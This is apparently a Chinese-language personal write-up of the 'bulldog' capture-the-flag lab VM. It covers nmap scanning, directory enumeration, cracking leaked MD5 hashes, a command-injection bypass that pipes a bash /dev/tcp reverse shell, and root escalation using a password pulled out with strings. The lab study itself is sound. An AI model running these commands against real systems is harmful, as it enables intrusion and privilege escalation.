bulldog靶机复现

注:个人笔记,有点简陋,仅供参考。

准备:把kali和靶机设置为同一网段(NAT)

信息搜集

主机扫描

nmap -sP -T4 10.4.7.0/24

扫描出靶机IP为:10.4.7.134

扫描端口、服务

nmap -A -T4 -p- 10.4.7.134 -sV

发现扫描出了23、80、8080端口,开放了 ssh 和 http 服务

渗透测试

扫描目录

该靶机开放了80端口,使用IP地址在浏览器进行访问

然后扫描目录

dirb http://10.4.7.134/

得到以下目录:
http://10.4.7.134/admin/
http://10.4.7.134/dev/
http://10.4.7.134/dev/shell/

访问目录

  1. http://10.4.7.134/admin/ ,发现是一个登录框,我们目前并没有账密,可以登录其他网页寻找线索
  1. http://10.4.7.134/dev/
  1. http://10.4.7.134/dev/shell/

回到 http://10.4.7.134/dev/,F12或右键查看源代码,发现一一对应的可疑邮箱与疑似哈希密码串,猜测其为用户名及密码

尝试进行解密:

MD5在线解密

MD5在线解密

  • 依次尝试获取到的密码串,发现最后两个解密成功
用户名 密码
alan 破解失败
william 破解失败
malik 破解失败
kevin 破解失败
ashley 破解失败
nick bulldog
sarah bulldoglover

尝试进行登录,登录成功

用户名:sarah

密码:bulldoglover

在网页http://10.4.7.134/dev/shell/ 刷新后发现可以进行访问

命令注入与nc反弹shell

  • 由于部分命令被过滤,下面尝试绕过反弹shell

在kali中使用nc进行监听

在此输入 echo 'bash -i >& /dev/tcp/10.4.7.135/8888 0>&1' | bash 尝试反弹

  • 由于 echo 是可以使用的,这里利用 echo 构建一个反弹shell的命令,然后用管道符交给 bash 执行

然后run运行,运行后发现kali已经收到了反弹shell

  • 此时已成功进入系统,但权限还不是root,下一步进行提权操作

提权

  • 切换成 root 用户的前提是需要知道 root 用户的密码,所以我们这里的主要目标是在有限的权限里搜集到 root 的密码,完成提权
  1. 查看有哪些用户,输入 cat /etc/passwd 查看用户,发现 bulldogadmin 用户
  1. 进入该用户的家目录
  1. 输入 ls -la 查看隐藏文件,发现隐藏目录 .hiddenadmindirectory
  1. 输入 cd .hiddenadmindirectory 进入该目录,ls -la 查看隐藏文件,发现 customPermissionAppnote 两个文件
  1. 分别进行查看,并没有发现什么有用的信息

cat customPermissionApp 乱码

cat note ,

  1. 利用 strings 查看可执行文件中的内容,发现疑似密码
    • strings 命令用来提取和显示非文本文件中的文本字符串

标红位置中猜测可能是密码,应为 SUPERulitimatePASSWORDyouCANTget, 可以把他们连到一起正好是 SUPERultimatePASSWORDyouCANTget ,H是来混淆的,中间刚好有PASSWORD

  • 展开密码串为:SUPERultimatePASSWORDyouCANTget

尝试 su -i ,直接切换 root ,发现并不能执行

可以用Python调用本地的shell实现,命令如下:
python -c 'import pty; pty.spawn("/bin/bash")'

然后切换为 root ,需要加上 sudo 才能执行

shdo su -

提权成功

获取flag

相关推荐
使一颗心免于哀伤8 小时前
《设计模式之禅》笔记摘录 - 21.状态模式
笔记·设计模式
_落纸2 天前
三大基础无源电子元件——电阻(R)、电感(L)、电容(C)
笔记
Alice-YUE2 天前
【CSS学习笔记3】css特性
前端·css·笔记·html
2303_Alpha2 天前
SpringBoot
笔记·学习
Hello_Embed3 天前
STM32HAL 快速入门(二十):UART 中断改进 —— 环形缓冲区解决数据丢失
笔记·stm32·单片机·学习·嵌入式软件
咸甜适中3 天前
rust语言 (1.88) 学习笔记:客户端和服务器端同在一个项目中
笔记·学习·rust
Grassto3 天前
RAG 从入门到放弃?丐版 demo 实战笔记(go+python)
笔记
Magnetic_h3 天前
【iOS】设计模式复习
笔记·学习·ios·设计模式·objective-c·cocoa
周周记笔记3 天前
学习笔记:第一个Python程序
笔记·学习
丑小鸭是白天鹅3 天前
Kotlin协程详细笔记之切线程和挂起函数
开发语言·笔记·kotlin